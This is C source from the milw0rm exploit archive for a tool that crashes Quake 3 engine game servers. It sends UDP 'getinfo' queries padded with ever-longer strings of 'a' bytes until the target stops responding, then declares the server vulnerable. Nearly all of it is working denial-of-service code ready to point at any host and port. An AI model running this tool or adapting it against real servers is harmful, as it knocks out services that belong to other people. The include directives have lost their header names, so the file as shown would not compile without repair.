/* by Luigi Auriemma */ #include #include #include #ifdef WIN32 #include /* Header file used for manage errors in Windows It support socket and errno too (this header replace the previous sock_errX.h) */ #include #include void std_err(void) { char *error; switch(WSAGetLastError()) { case 10004: error = "Interrupted system call"; break; case 10009: error = "Bad file number"; break; case 10013: error = "Permission denied"; break; case 10014: error = "Bad address"; break; case 10022: error = "Invalid argument (not bind)"; break; case 10024: error = "Too many open files"; break; case 10035: error = "Operation would block"; break; case 10036: error = "Operation now in progress"; break; case 10037: error = "Operation already in progress"; break; case 10038: error = "Socket operation on non-socket"; break; case 10039: error = "Destination address required"; break; case 10040: error = "Message too long"; break; case 10041: error = "Protocol wrong type for socket"; break; case 10042: error = "Bad protocol option"; break; case 10043: error = "Protocol not supported"; break; case 10044: error = "Socket type not supported"; break; case 10045: error = "Operation not supported on socket"; break; case 10046: error = "Protocol family not supported"; break; case 10047: error = "Address family not supported by protocol family"; break; case 10048: error = "Address already in use"; break; case 10049: error = "Can't assign requested address"; break; case 10050: error = "Network is down"; break; case 10051: error = "Network is unreachable"; break; case 10052: error = "Net dropped connection or reset"; break; case 10053: error = "Software caused connection abort"; break; case 10054: error = "Connection reset by peer"; break; case 10055: error = "No buffer space available"; break; case 10056: error = "Socket is already connected"; break; case 10057: error = "Socket is not connected"; break; case 10058: error = "Can't send after socket shutdown"; break; case 10059: error = "Too many references, can't splice"; break; case 10060: error = "Connection timed out"; break; case 10061: error = "Connection refused"; break; case 10062: error = "Too many levels of symbolic links"; break; case 10063: error = "File name too long"; break; case 10064: error = "Host is down"; break; case 10065: error = "No Route to Host"; break; case 10066: error = "Directory not empty"; break; case 10067: error = "Too many processes"; break; case 10068: error = "Too many users"; break; case 10069: error = "Disc Quota Exceeded"; break; case 10070: error = "Stale NFS file handle"; break; case 10091: error = "Network SubSystem is unavailable"; break; case 10092: error = "WINSOCK DLL Version out of range"; break; case 10093: error = "Successful WSASTARTUP not yet performed"; break; case 10071: error = "Too many levels of remote in path"; break; case 11001: error = "Host not found"; break; case 11002: error = "Non-Authoritative Host not found"; break; case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED, NOTIMP"; break; case 11004: error = "Valid name, no data record of requested type"; break; default: error = strerror(errno); break; } fprintf(stderr, "\nError: %s\n", error); exit(1); } /* Added above winerr.h /str0ke ! milw0rm.com*/ #define close closesocket #else #include #include #include #include #include #include #endif #define VER "0.1" #define BUFFSZ 2048 #define TIMEOUT 3 #define INFO "\xff\xff\xff\xff" "getstatus\n" #define GETINFO "\xff\xff\xff\xff" "getinfo " #define GETINFOSZ (sizeof(GETINFO) - 1) #define SEND(x,y) if(sendto(sd, x, y, 0, (struct sockaddr *)&peer, sizeof(peer)) \ < 0) std_err(); #define RECV len = recvfrom(sd, buff, BUFFSZ, 0, NULL, NULL); \ if(len < 0) std_err(); #define RECVT if(timeout(sd) < 0) { \ fputs("\nError: socket timeout, no reply received\n\n", stdout); \ exit(1); \ } \ RECV; void showinfo(u_char *data); int timeout(int sock); u_long resolv(char *host); void std_err(void); int main(int argc, char *argv[]) { struct sockaddr_in peer; int sd, i, len, slen, from = 700, to = BUFFSZ - GETINFOSZ, jumps = 1, sent = 0; u_short port; u_char bof[BUFFSZ + 1], buff[BUFFSZ + 1], *p; setbuf(stdout, NULL); fputs("\n" "Quake 3 engine infostring crash/shutdown scanner "VER"\n" "by Luigi Auriemma\n" "e-mail: aluigi@altervista.org\n" "web: http://aluigi.altervista.org\n" "\n", stdout); if(argc < 3) { printf("\n" "Usage: %s [options] \n" "\n" "Options:\n" "-f FROM start the scan from byte FROM (default %d)\n" "-t TO finish the scan at byte TO (default %d)\n" "-j JUMPS the number of bytes to increment for each scan.\n" " Default value is %d, meaning that if the scan starts from %d it will\n" " send getinfo followed by %d bytes, then %d, %d, %d and so on until %d\n" "\n", argv[0], from, to, jumps, from, from, from + jumps, from + (jumps * 2), from + (jumps * 3), to); exit(1); } #ifdef WIN32 WSADATA wsadata; WSAStartup(MAKEWORD(1,0), &wsadata); #endif argc -= 2; for(i = 1; i < argc; i++) { switch(argv[i][1]) { case 'f': from = atoi(argv[++i]); break; case 't': to = atoi(argv[++i]); break; case 'j': jumps = atoi(argv[++i]); break; default: { printf("\nError: wrong command-line argument (%s)\n\n", argv[i]); exit(1); } } } port = atoi(argv[argc + 1]); peer.sin_addr.s_addr = resolv(argv[argc]); peer.sin_port = htons(port); peer.sin_family = AF_INET; printf("- target %s : %hu\n", inet_ntoa(peer.sin_addr), port); sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); if(sd < 0) std_err(); fputs("- request informations:\n", stdout); SEND(INFO, sizeof(INFO) - 1); RECVT; buff[len] = 0x00; showinfo(buff); fputs("- getinfo crash/shutdown scan:\n\n", stdout); memcpy(bof, GETINFO, GETINFOSZ); p = bof + GETINFOSZ; if(from > to) from = to; for(i = 0; i < from; i++) *p++ = 'a'; slen = p - bof; for(;;) { printf(" packet length: %d\r", slen); SEND(bof, slen); sent++; if(timeout(sd) < 0) break; RECV; slen += jumps; if((slen - GETINFOSZ) > to) { slen -= jumps; break; } else if(slen > BUFFSZ) { printf("\n\n- max local buffer size (%d) reached", BUFFSZ); slen -= jumps; break; } for(i = 0; i < jumps; i++) *p++ = 'a'; } if(!sent) { fputs("\n\nError: recheck your options because I have sent no packets, probably you have chosen too big values\n\n", stdout); close(sd); exit(1); } printf("\n\n- last UDP packet sent was %d bytes (jumps = %d)", slen, slen - GETINFOSZ); fputs("\n- check server:\n", stdout); SEND(INFO, sizeof(INFO) - 1); if(timeout(sd) < 0) { fputs("\nServer IS vulnerable!!!\n\n", stdout); } else { fputs("\nServer doesn't seem vulnerable\n\n", stdout); } close(sd); return(0); } void showinfo(u_char *data) { int nt = 1; u_char *p; while((p = strchr(data, '\\'))) { *p = 0x00; if(!nt) { printf("%30s: ", data); nt++; } else { printf("%s\n", data); nt = 0; } data = p + 1; } printf("%s\n", data); } int timeout(int sock) { struct timeval tout; fd_set fd_read; int err; tout.tv_sec = TIMEOUT; tout.tv_usec = 0; FD_ZERO(&fd_read); FD_SET(sock, &fd_read); err = select(sock + 1, &fd_read, NULL, NULL, &tout); if(err < 0) std_err(); if(!err) return(-1); return(0); } u_long resolv(char *host) { struct hostent *hp; u_long host_ip; host_ip = inet_addr(host); if(host_ip == INADDR_NONE) { hp = gethostbyname(host); if(!hp) { printf("\nError: Unable to resolv hostname (%s)\n", host); exit(1); } else host_ip = *(u_long *)hp->h_addr; } return(host_ip); } #ifndef WIN32 void std_err(void) { perror("\nError"); exit(1); } #endif // milw0rm.com [2005-02-12]